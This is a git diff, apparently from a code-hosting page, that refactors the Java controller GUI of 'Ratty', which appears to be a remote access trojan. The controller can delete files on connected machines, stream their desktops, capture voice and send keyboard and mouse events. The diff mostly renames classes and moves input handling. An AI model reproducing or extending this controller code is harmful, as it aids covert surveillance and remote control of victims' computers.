@ -60,9 +58,9 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
gui.setController(this);
}
private ServerClient getServerClient(final ActiveClient client) {
private ServerClient getServerClient(final ActiveConnection client) {
for (final ServerClient serverClient : clients) {
if (serverClient.client == client) {
if (serverClient.connection == client) {
return serverClient;
}
}
@ -153,30 +151,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final String path = treePanel.getLastPathClicked();
packet = new DeleteFilePacket(path);
} else if (command == DisplayPanel.KEY_PRESSED && serverClient.isStreamingDesktop()) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int key = displayPanel.getLastKeyHit();
packet = new KeyEventPacket(key, KeyEventPacket.PRESS);
} else if (command == DisplayPanel.KEY_RELEASED && serverClient.isStreamingDesktop()) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int key = displayPanel.getLastKeyHit();
packet = new KeyEventPacket(key, KeyEventPacket.RELEASE);
} else if (command == DisplayPanel.MOUSE_PRESSED && serverClient.isStreamingDesktop()) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int x = displayPanel.getLastXPos();
final int y = displayPanel.getLastYPos();
final int button = displayPanel.getLastButtonHit();
packet = new MouseEventPacket(x, y, button, MouseEventPacket.PRESS);
} else if (command == DisplayPanel.MOUSE_RELEASED && serverClient.isStreamingDesktop()) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int x = displayPanel.getLastXPos();
final int y = displayPanel.getLastYPos();
final int button = displayPanel.getLastButtonHit();
packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE);
} else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) {
packet = new VoicePacket();
} else if (command == RattyGui.WEBSITE) {
@ -207,11 +181,11 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final DisplayController displayPanel = serverClient.getDisplayPanel();
displayPanel.showFrames(frames, screenWidth, screenHeight);
serverClient.client.addPacket(request);
serverClient.connection.addPacket(request);
}
private void handle(final ServerClient serverClient, final VoicePacket packet) {
@ -227,7 +201,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
public void stopped(final Sound source) {
final VoicePacket voice = new VoicePacket();
serverClient.client.addPacket(voice);
serverClient.connection.addPacket(voice);
}
});
sound.play();
@ -254,7 +228,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
public void packetReceived(final ActiveConnection client, final IPacket packet) {
final ServerClient serverClient = getServerClient(client);
final boolean loggedIn = serverClient.isLoggedIn();
@ -294,7 +268,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
@Override
public void clientDisconnected(final ActiveClient client) {
public void disconnected(final ActiveConnection client) {
final ServerClient serverClient = getServerClient(client);
final FileTreePanel treePanel = serverClient.getTreePanel();
@ -311,7 +285,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
@Override
public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) {
public synchronized void connected(final ActiveServer server, final ActiveConnection client) {
final ServerClient serverClient = new ServerClient(client);
final InformationPacket packet = new InformationPacket();
@ -332,7 +306,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final IPacket packet = getPacket(command, serverClient);
if (packet != null) {
serverClient.client.addPacket(packet);
serverClient.connection.addPacket(packet);
}
if (command == RattyGui.DESKTOP) {

52
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -1,72 +1,62 @@
package de.sogomn.rat.server.gui;
import javafx.beans.property.SimpleBooleanProperty;
import javafx.beans.property.SimpleStringProperty;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.ActiveConnection;
public final class ServerClient {
private boolean loggedIn;
private DisplayPanel displayPanel;
private FileTreePanel treePanel;
private String name, os, version;
private boolean streamingDesktop, streamingVoice;
final SimpleStringProperty name, os, version;
final SimpleBooleanProperty streamingDesktop, streamingVoice;
private DisplayController displayPanel;
private FileTreePanel treePanel;
final ActiveClient client;
final ActiveConnection connection;
public ServerClient(final ActiveClient client) {
this.client = client;
name = new SimpleStringProperty();
os = new SimpleStringProperty();
version = new SimpleStringProperty();
streamingDesktop = new SimpleBooleanProperty();
streamingVoice = new SimpleBooleanProperty();
public ServerClient(final ActiveConnection connection) {
this.connection = connection;
displayPanel = new DisplayPanel();
displayPanel = new DisplayController(connection);
treePanel = new FileTreePanel();
}
public void logIn(final String name, final String os, final String version) {
this.name.set(name);
this.os.set(os);
this.version.set(version);
this.name = name;
this.os = os;
this.version = version;
loggedIn = true;
displayPanel.setTitle(name);
treePanel.setTitle(name);
}
public void setStreamingDesktop(final boolean streamingDesktop) {
this.streamingDesktop.set(streamingDesktop);
this.streamingDesktop = streamingDesktop;
}
public void setStreamingVoice(final boolean streamingVoice) {
this.streamingVoice.set(streamingVoice);
this.streamingVoice = streamingVoice;
}
public void setController(final IGuiController controller) {
displayPanel.setController(controller);
treePanel.setController(controller);
}
public String getName() {
return name.get();
return name;
}
public String getAddress() {
return client.getAddress();
return connection.getAddress();
}
public String getOs() {
return os.get();
return os;
}
public String getVersion() {
return version.get();
return version;
}
public boolean isLoggedIn() {
@ -74,14 +64,14 @@ public final class ServerClient {
}
public boolean isStreamingDesktop() {
return streamingDesktop.get();
return streamingDesktop;
}
public boolean isStreamingVoice() {
return streamingVoice.get();
return streamingVoice;
}
public DisplayPanel getDisplayPanel() {
public DisplayController getDisplayPanel() {
return displayPanel;
}

Loading…
Cancel
Save